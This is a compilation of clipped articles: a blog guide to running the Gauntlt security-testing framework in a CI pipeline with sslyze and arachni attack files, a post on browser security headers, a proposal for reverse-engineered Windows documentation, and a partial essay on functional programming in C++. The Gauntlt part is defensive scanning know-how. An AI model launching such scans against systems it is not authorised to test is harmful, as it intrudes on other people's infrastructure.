07 July 2017 | Posted by Gary Tate 

In my previous post I discussed a range of tools that can help automate security testing within the development pipeline. One of those tools was Gauntlt. Gauntlt is one of the more common CI security frameworks out there offering support a for range of commonly used security testing tools, from simple port scans to more intrusive tests such as SQL injections.
The aim of this post is not only to make you aware of Gauntlt but to offer guidance in configuring and implementing Gauntlt within your environment. I’ve even put together the Docker contents to aid this process.
This post will cover:
· Introduction to what Guantlt is
· Benefits of Gauntlt
· Core configuration and setup
· How Gauntlt hangs together
· Expanding and modifying key functionality
· Using Gauntlt for continuous securtiy testing
So what is Gauntlt? In simple terms Gauntlt is an attack framework that enables us to run a range of attacks and parse the output in a CI friendly form, allowing for our CI server to take an action based the response. Whether that’s to block the build, create an issue, notify or proceed will depend on the CI configuration.
Gauntlt natively supports the range of security testing tools. As of the time of writing the following are supported; I’m not going to go into too much detail about each as the focus here is Gauntlt but hopefully the brief descriptions below will suffice.
· arachni – Can run a range of web based attacks (SQL, XSS, CMD injections, header checks, secure configuration checks etc) out of the box Gauntlt only supports XSS attacks with Arachni, but in this at post we’ll demonstrate how to expand that functionality.
· curl – Will just grab the data from various protocols, i.e. HTTP/S main purpose of this in terms of Gauntlt would to check something is (or isn’t) present
· dirb – Used to check for web directories via a wordlist, useful for finding hidden URL’s or potential login portals.
· garmr – Checks the basic HTTP response, headers etc.
· nmap – pen tests best friend, primary used for port scanning but functionality can be extended via scripts.
· sqlmap – Will test for SQL injections.
· sslyze – Will check your SSL/TLS implementation
One key thing to understand is Gauntlt doesn’t provide these tools, it’s just a wrapper that will enable you to bring the tools into the pipeline. Configuring these tools to be friendly with Gauntlt can at times present a challenge. To make things easier I’ve done it for you. The links below will provide the data of a Docker container that’ll work out of the box. This build is actively used so if something does breaks chances are it’ll be fixed soon. Link to built docker image also provided however the github repo will allow much more flexibility – all you need to provide is the attack files. We’ll cover that soon.
Gauntlt Docker Data – https://github.com/garytkainos/Gauntlt-Ubuntu
Gauntlt Docker Image – https://hub.docker.com/r/garyt225/gauntltkainos/
So now we all know what Gauntlt is and the potential benefits let’s move onto the configuration. Again won’t be going into depth when it comes to each individual tool, the installation instructions can be found on each individual site. The key thing for Gauntlt is to ensure it can find the tools, the attack files will detail how it’s picking up the tool location. Best practice is to either amend your PATH variable or create a unique path variable just depending on what suits best. Example below:
export garmr_path=/usr/local/bin/garmr
export PATH=$PATH:/gauntlt/arachni/bin
If making use of the Docker container provided all you need is to provide the attack files. The creators of Gauntlt provide plenty of examples and is easy enough to pick up; below is an example attack file along with explanations of key areas.
Before we can start writing our attack files, we need to have a basic under standing of Cucumber and Gherkin syntax. You don’t need to be an expert or have extensive programming experience as Gauntlt has done most of the required configuration.
So a quick crash course on Cucumber / Gherkin – nothing too in-depth but I’ve provided a few links in the useful resources section.
So firstly, what is Cucumber and Gherkin?
Gherkin – a simple plain text structured language
Cucumber – used to interpret and execute the Gherkin code.
Gherkin has several key terms for writing and structuring your feature files. When putting these together from scratch you need two files, one feature file and a step definition.
Key terms for Gherkin are listed in the below table.
· Feature
· Scenario
· Given
· When
· Then
· And
· But
· Background
· Scenario Outline
· Examples
· “”” (Doc Strings)
· | (Data Tables)
· @ (Tags)
· # (Comments)
Feature file – This will be your plain English, structured in a readable format. i.e.
Feature: Check login works
Scenario: Log into website
  When Username is provided login
 Then Login to website
   And  Check login status
The above is a very simplified feature file, but hopefully will give you a general idea on how the syntax works. The main question from looking at this is how does Cucumber know what to do with it? That’s where the step definition comes in.
Step definition file will contain hooks for each steps defined in your feature file, the definition file will contain the actual code for performing the scenarios, whether that’s checking something is installed or more complex operations. So when the feature file states “Then Login to website” Cucumber will look for a matching scenario and “Then” statement within the step definitions and execute the code within.
Before going any further, just a small note. The terminology is going to slightly change; the above is just a introduction of Gherkin / Cucumber in its rawest form. Gauntlt incorporates this technology in its own way.
Feature files = Attack Files
Step Definition files = Attack Adapters
Below is an example of a real attack file, it will check that SSLv2 and SSLv3 are disabled. Looking at the below example you’ll see similarities to the generic example above, main difference being we’ve added in a data table, this is used to store reusable values throughout the file. Data tables provide the benefit of simplifying the structure, especially with larger files.
Attack File

Feature: Run sslyze against a target

Background:

Given "sslyze" is installed

And the following profile:

| name     | value      |
| hostname | www.kainos.com |
| port | 443 |

Scenario: Ensure no SSLv2 and SSLv3 are disabled
When I launch an "sslyze" attack with: """ sslyze --sslv2 --sslv3 <hostname>:<port> """

Then the output should not contain: """ Accepted """
 
Comments

Attack files are written in Gherkin, making it easy to understand and write. There is three main sections to this attack file, with key terms throughout:

Feature - A description of that attack

Background - Used to store some prerequisites and the data table values.

Scenario - this is where the attack will be detail key commands and expected (or not expected) response. In this attack file we have the a standard sslyse command string checking for SSLv2/3 support. You can also see we've added in <hostname> this will be pulled from the profile setting defined in the background session. While not overly useful in this example defining variables within the profile can be extremely beneficial when dealing with large attack file.
The above attack file will have an associated attack adapter (step definition) for each of the terms defined, Gauntlt will store these in two different place.
<Gauntlt_Path>/lib/gauntlt/attack_adapters - Specific hooks for tools

<Ruby_Gems_Path>/aruba-0.5.4/lib/aruba/cucumber.rb  - Generic reusable hooks ("Output should contain" etc)
Examples of the adapters are below:
sslyze.rb
Cucumber.rb 


This code is provided by Gauntlt so for the most part we don’t need to worry about it but awareness of how it all hangs together can be very beneficial when implementing and maintaining in a live environment.
One final thing I’d like to cover around the operation of these attack files is Tags, these are used to classify a feature file and additionally add some code across multiple files. Tags begins with the @ symbol and can either be used across entire feature file or individual scenario. Gauntlt primarily makes use of these to signify how long an attack will take. By default, we have the following:
No Tag - Each scenario will run for up to 3 seconds

@slow - Each scenario will run for up to 30 seconds

@reallyslow - Each scenario will run for up to 10 minutes
So that’s a high overview of how the attack files are put together. Next I want to run this attack file and take a brief look of what Gauntlt is doing in the background.
Firstly before running this attack to get a better appreciation of what Gauntlt is doing lets run sslyze without Gauntlt.
So in the attack file the command we specified is “sslyze –sslv2 –sslv3 <hostname>:<port>” Gauntlt will take this command, run it and look for key terms to indicate a pass or failure.
Before creating our attack file we need to understand what output will be presented by the security tool, in this case sslyze.
So just to clarify in this scenario we want to ensure our website does not accept communications over SSLv2 or SSLv3, these are old and highly vulnerable protocols and is generally recommended to keep disabled.
Below you can see the output. One small thing to note, for demonstration purposes I’ve added a few extra switches.
–tlsv1_2 – added to demonstrate expected output when protocol is enabled (SSLv2/3 are disabled)
–hide_rejected_ciphers – purely added into reduce the noise of the output, key information will still be presented.

You can see here that SSLv2 and SSLv3 are rejected, we can also see the output of sslyze when those protocols are rejected. TLSv1.2 is enabled on this site and again we can see the sslyze output when the protocols are accepted. There are multiple ways we can use this output to indicate a pass or failure for this example I took the simple approach of looking for the word “Accepted”. When only checking SSLv2 and SSLv3 the term “Accepted” should not show as it does for TLSv1.2. This is a very simple approach and check, you can of course take things further and check for specific ciphers.

Now when we run Gauntlt with the above attack file, we’ll see a slightly different output than shown in sslyze. We can see the command executed and the results. The Attack file ran sslyze to check for SSLv2/3 and then checked for the term “Accepted” in the output, that term was not found so it was marked as a success, if the term accepted was found it would have failed.
When you initiate Gauntlt by default it will search the system for *.attack files, will then take all of the attack files and run through the provided scenarios. Alternatively you can specify the attack file as such “Gauntlt Nmap.attack”
Expanding Gauntlt
Gauntlt will work out of the box to cover most requirements, however if you’re wanting to make more extenisive use of Gauntlt there’re various ways you can expand out the from the basic attack. There are multiple ways of doing this, in the example discussed below I’ve modified some of the configuration files within Gauntlt to perform additional testing. This could also be accomplished via using the “generic” attack, using Gherkin / Cucumber in its rawest form. While you can do this I find some benefits in amending Gauntlt’s configuration.
· Allows better structure within attack files.
· Easier to read
· Reuse of pre-existing attack adapters
This is my own opinion and preference, you can adapt the attacks in whatever way suits your team or project requirements.
The best example for expanding from the normal, default attacks is probably Arachni, out of the box Gauntlt / Arachni attack scenarios only supports XSS attacks. This can easily be expanded by adding in new attack aliases.The attack aliases files can normally be found here – <Gauntlt_Path>/lib/gauntlt/attack_aliases/
The attack aliase files are written in JSON, containing attack the aliases and the Arachni command string. When creating new aliase for the most part it’s a copy and paste exercise, only things to note are:
· All attack aliases must begin with arachni-* if you take a look at the Arachni attack adapter you’ll see why.
· You should always test the commands and attacks natively with Arachni before adding them in, some attacks will require additional switches and parameters.
So once you add in your custom aliases what will the attack files look like? Below is an example of one that will test for 5 different common security misconfigurations. (This configuration comes included in the Docker Container provided as part of this post.)
@reallyslow

Feature: Look for forms with file upload functionality 

Background:

 

  Given "arachni" is installed

  And the following profile:

     | name                | value                          |

     | url                 | https://www.kainos.com                |

     | depth               | 1                                                                         |

     | timeout             | 00:09:00                                                      |

 

Scenario: Using the arachni, look for for forms with file upload functionality and verify no issues are found

  When I launch an "arachni-form-upload" attack

Then the output should contain "0 issues were detected."

 

Scenario: Using the arachni, Looks for resources served over HTTP when the HTML code is server over HTTPS.

  When I launch an "arachni-mixed-resource" attack

Then the output should contain "0 issues were detected."

 

Scenario: Using the arachni, Logs cookies that are served over an encrypted channel but without having the secure flag set.

  When I launch an "arachni-insecure-cookies" attack

Then the output should contain "0 issues were detected."

 

Scenario: Using the arachni, look for unallowed HTTP methods

  When I launch an "arachni-allowed-methods" attack

Then the output should contain "0 issues were detected."

 

Scenario: Using the arachni, Checks whether or not the session cookie can be set to an arbitrary value

  When I launch an "arachni-session-fixation" attack

Then the output should contain "0 issues were detected."
Again this is just one way to go about it, there are easier ways such as using the generic attack file, containing the full command and output check. It all comes down to personal preferences and end goals.
Integrating with CI 
So now we have a working instance Gauntlt configured whats next? The main purposes of Gauntlt is to enable continuous security testing as part of you developement pipeline. There are multiple ways of doing this, some of which will be dependent on your CI tool of choice, for the most part I’d recommend making use of Docker. This allows the CI to temporarily spin up the attack platform, carryout the testing and get the output. Personally for most project I use Gitlab-CI which has great integration with Docker, making the task even easier. Many of the major CI tools out there tend to offer some sort of Docker support.
Doing over the integration of Gauntlt into Gitlab-CI / TeamCity / Jinkins etc would be a lengthy post in its own so won’t be going into too much detail here. Below are some snippets of config from a Gitlab-CI instance.
Pipeline deployment code (the Gauntlt part)
'gauntlt':

  stage: security-webvulnscans

  image: GitLab-Docker-Repoistory/main-site.com/image:latest

  script:

    - export SSLYZE_PATH=/usr/local/bin/sslyze

    - export garmr_path=/usr/local/bin/garmr

    - export PATH=$PATH:/gauntlt/arachni/bin

    - gauntlt
The above code will take place after security tests such as static code analysis and deployment to the test environment. The attack files will be pointed to the test environment. Gauntlt will run before committing the code to the live environment. One of the easiest options to for this is to spin up the code in a Docker container, then run the tests against that, if it passes all tests the code to be committed.
Gitlab-CI executing Gauntlt.

So there you have it, a closer look at Gauntlt. In this post we’ve look at how Gauntlt interacts with commonly used security testing, how Gauntlt works under the hood and more importantly how we can use it for continuous security testing. Gauntlt is a framework, it can be implemented in many ways the above approach is just one of many ways you can implement Gauntlt the exect implimentation will depending on project requirements, pre-exisiting environment and personal preference. Hopefully this post has pointed you in the right direction.
Useful Resources:
§ Gauntlt Docker Data – https://github.com/garytkainos/Gauntlt-Ubuntu
§ Gauntlt Docker Image – https://hub.docker.com/r/garyt225/gauntltkainos/
§ Previous post bring security into the pipeline – https://www.kainos.com/bringing-security-pipeline/
§ Cucumber / Gherkin Reference – https://github.com/cucumber/cucumber/wiki/Gherkin
§ Gauntlt – http://gauntlt.org/
﻿http://michael-coates.blogspot.com/2011/03/enabling-browser-security-in-web.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+MichaelCoates%2Fsecurity+%28Michael+Coates+Blogspot%29 
...Application Security...: Enabling Browser Security in Web Applications
Created:
4/3/2011 2:31:39 PM
Updated:
4/3/2011 2:31:59 PM
Author:

Tags:
web-app-sec programming


Enabling Browser Security in Web Applications
Posted by Michael Coates on 3/31/2011
HTTPOnly, Secure Flag, Strict Transport Security, X-Frame-Options, Content Security Policy

[Cross Post with http://blog.mozilla.com/webappsec/]

The vast majority of application security occurs within the application’s code. However, there are a few key security controls that are enabled by the web application dictating security properties to the web browser. These security properties enable the browser to impose additional security controls on items such as cookie handling, framing, and even the processing of JavaScript. These controls provide an additional layer of defenses which will either eliminate certain attack vectors or, at a minimum, minimize the impact of particular client-side attack types.

Some of these defensive controls have been around for awhile and others are newly supported in Firefox 4 and other modern browsers. Mozilla has been rolling out these controls across all of our websites with a high degree of success. It should be noted that these controls are not a substitute for secure development practices. Instead, they are another layer of defense that can be used to protect users and data in the event of an unknown gap elsewhere in your application.



HTTPOnly

Benefit: Minimizes impact of cross site scripting vulnerability by preventing JavaScript access to the session cookie.

Limitations: Does not prevent against any other malicious actions from XSS (phishing, malicious redirects, etc)

Example within HTTP Response:
Cookie: sessiondID=kljahsdf123; HTTPOnly;

Additional Reading:
http://www.owasp.org/index.php/HttpOnly



Secure Flag

Benefit: Instructs the browser to never send the cookie over a HTTP request. The cookie can only be sent over HTTPS. This works even if the user manually types in a request for HTTP. The HTTP request will be sent, but the browser will not send any cookies marked as “SECURE”

Limitations: The HTTP Request is still sent and this could be manipulated by a man in the middle to perform convincing phishing attacks (See Strict Transport Security for solution).

Example within HTTP Response:
Cookie: sessiondID=kljahsdf123; SECURE;

Additional Reading:
http://code.google.com/p/browsersec/wiki/Part2
https://developer.mozilla.org/en/DOM/document.cookie

Note: When setting both HTTPOnly and SECURE flags you will simply have both values for the cookie:
Cookie: sessiondID=kljahsdf123; HTTPOnly; SECURE;



Strict Transport Security

Benefit: Instructs the browser to never send requests to the domain over HTTP. Requests can only be sent over HTTPS. Think of this as the Secure flag for the entire request. This will protect the user even if they manually type in HTTP into the URL. The browser will upgrade this to HTTPS, assuming the site has previously enabled HSTS, and only the HTTPS request will be sent over the network.

Limitations: Only supported in most recent browser versions; however, support is quickly growing. 

Example within HTTP Response:
Strict-Transport-Security: max-age=60000

Additional Reading:
https://developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security



X-Frame-Options


Benefit: Instructs the browser to disallow framing of a domain or limit framing to only sites of the same domain. This prevents clickjacking attacks and other malicious framing actions.

Limitations: Not supported in very old browser versions.

Example within HTTP Response:
X-Frame-Options: DENY
or
X-Frame-Options: SAMEORIGIN

Additional Reading:

https://developer.mozilla.org/en/The_X-FRAME-OPTIONS_response_header



Content Security Policy (CSP)

Benefit: CSP provides some amazing benefits. After a website is setup appropriately (no use of inline JavaScript) and a policy has been established, CSP will effectively prevent XSS where attacker controlled data is embedded in the HTML document. This works since the policy has established what JavaScript code is allowed and any other JavaScript that may make its way into the webpage via user input is flagged by the browser and blocked.

Limitations: Supported in Firefox 4 and plans for support in Chrome. It is still possible to introduce XSS vulnerabilities by not properly validating and sanitizing JSON content, or by including attacker controlled data in dynamically generated JavaScript code. Even if CSP is only supported by a portion of users it can act as an alerting system via the the report-uri to detect and report CSP violations that could be an attack.

Example within HTTP Response:
X-Content-Security-Policy: allow ‘self’ *.mydomain.com

Additional Reading:
https://developer.mozilla.org/en/Introducing_Content_Security_Policy
https://developer.mozilla.org/en/Security/CSP/Using_Content_Security_Policy
﻿http://www.soared.org/plan/index.htm 
A New Approach To Open Software
Created:
2/27/2010 11:34:28 AM
Updated:
2/27/2010 11:34:36 AM
Author:

Tags:
reversing projects


A New Approach To Open Software
It is here proposed to create a public repository of reverse-engineered documentation of Windows and other closed-source software. Opening Windows to inspection is expected to bring many of the benefits that are assumed for open-source software, including to help Windows programmers use more Windows functionality with more confidence and less wastage, and malware analysts to investigate how a vulnerability in Windows has been exploited and might be fixed. A significant benefit is the stimulation of reverse engineering as a discipline by creating a productive outlet, with graduated targets, for aspiring reverse engineers. A feasibility study has been conducted over several years at private expense as a public good. Interest is sought for continuation and expansion.
The Problem
Despite the best intentions and hard work of many people throughout the software industry, open-source software shows no sign of overturning the market dominance of closed-source software. In operating systems, at least for the mass market of ordinary users of applicable hardware, Microsoft Windows will be the monopoly product for many years yet. Any successor will for many years after have to support the multitude of applications, both big and small, that have been written to run on Windows. Although an open-source alternative operating system (Linux) is well established in niche markets, an open-source subsystem (Wine) for running Windows programs is not yet of commercial grade and an open-source substitute for Windows (ReactOS) is arguably just experimental. Even if they ever are ready for real-world use in the mass market, neither will help the writers of Windows programs write better Windows programs more efficiently for having better knowledge of Windows. Neither will help security analysts know what they’re dealing with when a bug in Windows (or Internet Explorer) is exploited by hackers. Indeed, no open-software initiative helps explicitly with understanding what Windows actually does. All the benefits that no end of industry commentators say are obviously there for the taking if only the world would use open-source software are thought just as obviously closed to the present world because Windows, as closed-source software, isn’t open to inspection and there’s nothing to be done about it.
This is absurd. Of course Windows is open to inspection. Though source code for Windows is kept private by Microsoft, the software itself is very public. Each version exists in hundreds of millions of copies which are sold eagerly by its manufacturer. The dumb computer that Windows runs on has no trouble working out what to do with this software even though source code is nowhere in sight. All the information needed for understanding everything that can ever be done by the software plainly is in the software. It’s just not immediately readable by humans. Even as assembly-language mnemonics shown in a debugger, reading this information is not a skill for everyone. It is anyway not a skill whose practise has much outlet. The industry’s emphasis is on producing software. The source code is everything. A handful of programmers try their hand at reverse engineering software for which they don’t have the source code, but what they mostly mean by this is an attempt to reconstitute the source code.
This too is absurd. There’s no doubt that if Windows were open-source, then many more people would know much more about Windows. But this doesn’t mean that the solution to not having the source code must be to try reconstituting it. Consider the following cases that might see you as a real-world programmer wanting to understand Windows better than you can from Microsoft’s documentation of it:
1. you want to use a Windows feature in your Windows program, but it’s under-documented and you’re losing time to experimenting and debugging;
2. you would like your Windows program to interact constructively with Windows in a way that your competitors have not thought of.
Even if Windows were open-source, few would contend seriously that even a very good programmer in these situations could resolve each such problem efficiently by reading the source code. He is surely busy enough with the work of writing the program. Not all programmers can become Windows experts who know the layout of zillions of lines of source code, let alone understand any of it in detail. Even the source code that’s relevant just to one point of behaviour of even one Windows function might take hours to find and truly understand. What the programmer wants is not the source code but reliable documentation. When the source code is not published, getting the programmer what he wants is not a matter of reverse engineering the binary code into an approximation of the manufacturer’s source code but into independent documentation.
What isn’t absurd is that reverse engineering of Windows to produce independent documentation is not yet attempted with sufficient scale or depth to make a difference. Although the savings across the industry might be huge, no one software manufacturer has an obvious case for undertaking the work just to benefit its own manufacturing of software. Even if one tried, they would soon find that the technical threshold is formidably high. Many would doubt that it’s practical, or even possible, to reverse engineer the binary code of even small self-standing Windows functions into usable documentation. It’s hardly surprising that what doesn’t look possible as technology has never attracted much interest, let alone investment, nor even the design of a business model.
A Solution
I, Geoff Chappell, propose an open-software initiative in which Windows, and other software of sufficient interest, is opened to inspection by a process of reverse engineering to produce independent documentation of the software’s design and behaviour. I imagine as the tangible output of this initiative a repository of reverse-engineered information about Windows and especially of documentation that is widely accepted by Windows programmers as a reliable alternative to Microsoft’s own. Indeed, the aim is that this repository should quickly become the first port of call for anyone who wants to know more about Windows than Microsoft documents. The repository would be a Wikipedia of Windows documentation.
That such a repository can even be imagined is because of a feasibility study developed over the last five years at my own expense. As one person’s work, there’s only so much that can have been done: about 750 pages each for studies of Windows (including Internet Explorer) and of Microsoft Visual C++. Even so, much of this work has been relied on both by everyday Windows programmers and by experts, including for open-source projects. Though I have done hardly a thing to promote the site, it typically attracts 20,000 unique visitors per month. For many of the Windows functions, classes, interfaces and registry settings that are documented at this site, Google lists the feasibility study’s documentation ahead of Microsoft’s or immediately behind. For many more, of course, there is no public documentation from Microsoft.
A key point to this proposal as an open-software initiative is the development of a community of reverse engineers who contribute to the repository, much as a community of programmers contribute to an open-source project. A significant problem with this is noted above. Reverse engineering is not even nearly well enough developed as a disciplined skill in real-world practice to expect many contributions at a high enough standard to be worthwhile. The proposed repository is meant in large part to encourage the development of reverse engineering as a practised skill both by providing an outlet for the results of doing it and by helping the aspiring reverse engineer improve his skill by progressing through a loose structure of gradually more difficult tasks. 
Development and Funding 
Especially in a world that increasingly thinks information should be free, it’s far from clear how an initiative whose sole product is information might ever make enough money to cover its costs of production. Make no mistake that an increasing proportion of the repository will need full-time work by the most-skilled reverse engineers just as any open-source software needs at its heart the full-time attention of some skilled programmers. There will also be a need for editing and peer review. Contributors and readers will need a means of communication, e.g., to share work materials and discuss priorities. None of this can be cobbled together for free. Traditional models to fund the production of content are subscriptions (free to contributors) and advertising. More innovative models would take advantage of networking effects from having built a community of talented contributors and readers whose work with closed-source Windows will have left many outside similar communities for open-source development. 
My role has been to demonstrate that what many might think is impossible for technical reasons actually can be done, albeit as one person’s passion without regard for the cost. I always had in my mind that the work was offered as a public good, and always would have to be funded by charitable donation or government grant. Others, with media resources and business skills, may see some way of funding the work more securely, and even of making it commercially viable. I myself can’t work on this idea any more without assistance, not even to keep the feasibility study up to date as Windows progresses through new versions. I seek immediate funding to resume the feasibility study with my own research and writing while others work from it as a sketch to develop a well-resourced website that can start taking contributions from aspiring reverse engineers and get its existence into the public consciousness. For that, I seek the rapid involvement not just of investors and sponsors but of partners who can see to the business processes, marketing, fund-raising, web design and whatever else is needed. 
If the repository ever is launched and promoted, it will soon have Windows programmers all over the planet wondering why it wasn’t done years ago. If anyone in the future grumbles that mass-market computing is too much dependent on a monopoly product whose source code isn’t published, it won’t be because the technical means of opening Windows to inspection were never demonstrated as work that can be done at a high standard in reasonable time. It will be because nobody found sufficient money or devised a workable business model. 
More Reading 
Some likely questions are raised separately as an FAQ list. There is also a bulletin board at which to ask questions or pass comment. (This is only a trial. It may yet be reformulated as a blog, or it may be abandoned.) 
To express interest, as a potential contributor, reader or financial supporter, please write to info@soared.org. Better yet, tell others about this plan. It won’t take off unless a lot of people want it to. 
﻿http://www.altdevblogaday.com/2012/04/26/functional-programming-in-c/ 
#AltDevBlogADay » Functional Programming in C++
Created:
4/30/2012 2:28:06 PM
Updated:
4/30/2012 2:28:06 PM
Author:

Tags:
C++ programming Functional


Functional Programming in C++
Probably everyone reading this has heard “functional programming” put forth as something that is supposed to bring benefits to software development, or even heard it touted as a silver bullet.  However, a trip to Wikipedia for some more information can be initially off-putting, with early references to lambda calculus and formal systems.  It isn’t immediately clear what that has to do with writing better software.
My pragmatic summary:  A large fraction of the flaws in software development are due to programmers not fully understanding all the possible states their code may execute in.  In a multithreaded environment, the lack of understanding and the resulting problems are greatly amplified, almost to the point of panic if you are paying attention.  Programming in a functional style makes the state presented to your code explicit, which makes it much easier to reason about, and, in a completely pure system, makes thread race conditions impossible.
I do believe that there is real value in pursuing functional programming, but it would be irresponsible to exhort everyone to abandon their C++ compilers and start coding in Lisp, Haskell, or, to be blunt, any other fringe language.  To the eternal chagrin of language designers, there are plenty of externalities that can overwhelm the benefits of a language, and game development has more than most fields.  We have cross platform issues, proprietary tool chains, certification gates, licensed technologies, and stringent performance requirements on top of the issues with legacy codebases and workforce availability that everyone faces.
If you are in circumstances where you can undertake significant development work in a non-mainstream language, I’ll cheer you on, but be prepared to take some hits in the name of progress.  For everyone else: No matter what language you work in, programming in a functional style provides benefits.  You should do it whenever it is convenient, and you should think hard about the decision when it isn’t convenient.  You can learn about lambdas, monads, currying, composing lazily evaluated functions on infinite sets, and all the other aspects of explicitly functionally oriented languages later if you choose.
C++ doesn’t encourage functional programming, but it doesn’t prevent you from doing it, and you retain the power to drop down and apply SIMD intrinsics to hand laid out data backed by memory mapped files, or whatever other nitty-gritty goodness you find the need for.
 
Pure Functions
A pure function only looks at the parameters passed in to it, and all it does is return one or more computed values based on the parameters.  It has no logical side effects.  This is an abstraction of course; every function has side effects at the CPU level, and most at the heap level, but the abstraction is still valuable.
It doesn’t look at or update global state.  it doesn’t maintain internal state.  It doesn’t perform any IO.  it doesn’t mutate any of the input parameters.  Ideally, it isn’t passed any extraneous data – getting an allMyGlobals pointer passed in defeats much of the purpose.
Pure functions have a lot of nice properties.
Thread safety.  A pure function with value parameters is completely thread safe.  With reference or pointer parameters, even if they are const, you do need to be aware of the danger that another thread doing non-pure operations might mutate or free the data, but it is still one of the most powerful tools for writing safe multithreaded code.
You can trivially switch them out for parallel implementations, or run multiple implementations to compare the results.  This makes it much safer to experiment and evolve.
Reusability.  It is much easier to transplant a pure function to a new environment.  You still need to deal with type definitions and any called pure functions, but there is no snowball effect.  How many times have you known there was some code that does what you need in another system, but extricating it from all of its environmental assumptions was more work than just writing it over?
Testability.  A pure function has referential transparency, which means that it will always give the same result for a set of parameters no matter when it is called, which makes it much easier to exercise than something interwoven with other systems.   I have never been very responsible about writing test code;  a lot of code interacts with enough systems that it can require elaborate harnesses to exercise, and I could often convince myself (probably incorrectly) that it wasn’t worth the effort.  Pure functions are trivial to test; the tests look like something right out of a textbook, where you build some inputs and look at the output.  Whenever I come across a finicky looking bit of code now, I split it out into a separate pure function and write tests for it.  Frighteningly, I often find something wrong in these cases, which means I’m probably not casting a wide enough net.
Understandability and maintainability.  The bounding of both input and output makes pure functions easier to re-learn when needed, and there are less places for undocumented requirements regarding external state to hide.
Formal systems and automated reasoning about software will be increasingly important in the future.  Static code analysis is important today, and transforming your code into a more functional style aids analysis tools, or at least lets the faster local tools cover the same ground as the slower and more expensive global tools.  We are a “Get ‘er done” sort of industry, and I do not see formal proofs of whole program “correctness” becoming a relevant goal, but being able to prove that certain classes of flaws are not present in certain parts of a codebase will still be very valuable.  We could use some more science and math in our process.
Someone taking an introductory programming class might be scratching their head and thinking “aren’t all programs supposed to be written like this?”  The reality is that far more programs are Big Balls of Mud than not.  Traditional imperative programming languages give you escape hatches, and they get used all the time.  If you are just writing throwaway code, do whatever is most convenient, which often involves global state.  If you are writing code that may still be in use a year later, balance the convenience factor against the difficulties you will inevitably suffer later.  Most developers are not very good at predicting the future time integrated suffering their changes will result in.
 
Purity In Practice
Not everything can be pure; unless the program is only operating on its own source code, at some point you need to interact with the outside world.  It can be fun in a puzzly sort of way to try to push purity to great lengths, but the pragmatic break point acknowledges that side effects are necessary at some point, and manages them effectively.
It doesn’t even have to be all-or-nothing in a particular function.  There is a continuum of value in how pure a function is, and the value step from almost-pure to completely-pure is smaller than that from spaghetti-state to mostly-pure.  Moving a function towards purity improves the code, even if it doesn’t reach full purity.  A function that bumps a global counter or checks a global debug flag is not pure, but if that is its only detraction, it is still going to reap most of the benefits.
Avoiding the worst in a broader context is generally more important than achieving perfection in limited cases.  If you consider the most toxic functions or systems you have had to deal with, the ones that you know have to be handled with tongs and a face shield, it is an almost sure bet that they have a complex web of state and assumptions that their behavior relies on, and it isn’t confined to their parameters.  Imposing some discipline in these areas, or at least fighting to prevent more code from turning into similar messes, is going to have more impact than tightening up some low level math functions.
The process of refactoring towards purity generally involves disentangling computation from the environment it operates in, which almost invariably means more parameter passing.  This seems a bit curious – greater verbosity in programming languages is broadly reviled, and functional programming is often associated with code size reduction.  The factors that allow programs in functional languages to sometimes be more concise than imperative implementations are pretty much orthogonal to the use of pure functions — garbage collection, powerful built in types, pattern matching, list comprehensions, function composition, various bits of syntactic sugar, etc.  For the most part, these size reducers don’t have much to do with being functional, and can also be found in some imperative languages.
You should be getting irritated if you have to pass a dozen parameters into a function; you may be able to refactor the code in a manner that reduces the parameter complexity.
The lack of any language support in C++ for maintaining purity is not ideal.  If someone modifies a widely used foundation function to be non-pure in some evil way, everything that uses the function also loses its purity.  This sounds disastrous from a formal systems point of view, but again, it isn’t an all-or-nothing proposition where you fall from grace with the first sin.  Large scale software development is unfortunately statistical.
It seems like there is a sound case for a pure keyword in future C/C++ standards.  There are close parallels with const – an optional qualifier that allows compile time checking of programmer intention and will never hurt, and could often help, code generation.  The D programming language does offer a pure keyword:  http://www.d-programming-language.org/function.html  Note their distinction between weak and strong purity – you need to also have const input references and pointers to be strongly pure.
In some ways, a language keyword is over-restrictive — a function can still be pure even if it calls impure functions, as long as the side effects don’t escape the outer function.  Entire programs can be considered pure functional units if they only deal with command line parameters instead of random file system state.
Object Oriented Programming
Michael Feathers @mfeathers   OO makes code understandable by encapsulating moving parts. FP makes code understandable by minimizing moving parts.
The “moving parts” are mutating states.  Telling an object to change itself is lesson one in a basic object oriented programming book, and it is deeply ingrained in most programmers, but it is anti-functional behavior.  Clearly there is some value in the basic OOP idea of grouping functions with the data structures they operate on, but if you want to reap the benefits of functional programming in parts of your code, you have to back away from some object oriented behaviors in those areas.
Class methods that can’t be const are not pure by definition, because they mutate some or all of the potentially large set of state in the object.  They are not thread safe, and the ability to incrementally poke and prod objects into unexpected states is indeed a significant source of bugs.
Const object methods can still be technically pure if you don’t count the implicit const this pointer against them, but many object are large enough to constitute a sort of global state all their own, blunting some of the clarity benefits of pure functions.  Constructors can be pure functions, and generally should strive to be – they take arguments and return an object.
At the tactical programming level, you can often work with objects in a more functional manner, but it may require changing the interfaces a bit.  At id we went over a decade with an idVec3 class that had a self-mutating void Normalize() method, but no corresponding idVec3 Normalized() const method.  Many string methods were similarly defined as working on themselves, rather than returning a new copy with the operation performed on it – ToLowerCase(), StripFileExtension(), etc.
Performance Implications
In almost all cases, directly mutating blocks of memory is the speed-of-light optimal case, and avoiding this is spending some performance.  Most of the time this is of only theoretical interest; we trade performance for productivity all the time.
Programming with pure functions will involve more copying of data, and in some cases this clearly makes it the incorrect implementation strategy due to performance considerations.  As an extreme example, you can write a pure DrawTriangle() function that takes a framebuffer as a parameter and returns a completely new framebuffer with the triangle drawn into it as a result.  Don’t do that.
Returning everything by value is the natural functional programming style, but relying on compilers to always perform return value optimization can be hazardous to performance, so passing reference parameter for output of complex data structures is often justifiable, but it has the unfortunate effect of preventing you from declaring the returned value as const to enforce single assignment.
There will be a strong urge in many cases to just update a value in a complex structure passed in rather than making a copy of it and returning the modified version, but doing so throws away the thread safety guarantee and should not be done lightly.  List generation is often a case where it is justified.  The pure functional way to append something to a list is to return a completely new copy of the list with the new element at the end, leaving the original list unchanged.  Actual functional languages are implemented in ways that make this not as disastrous as it sounds, but if you do this with typical C++ containers you will die.
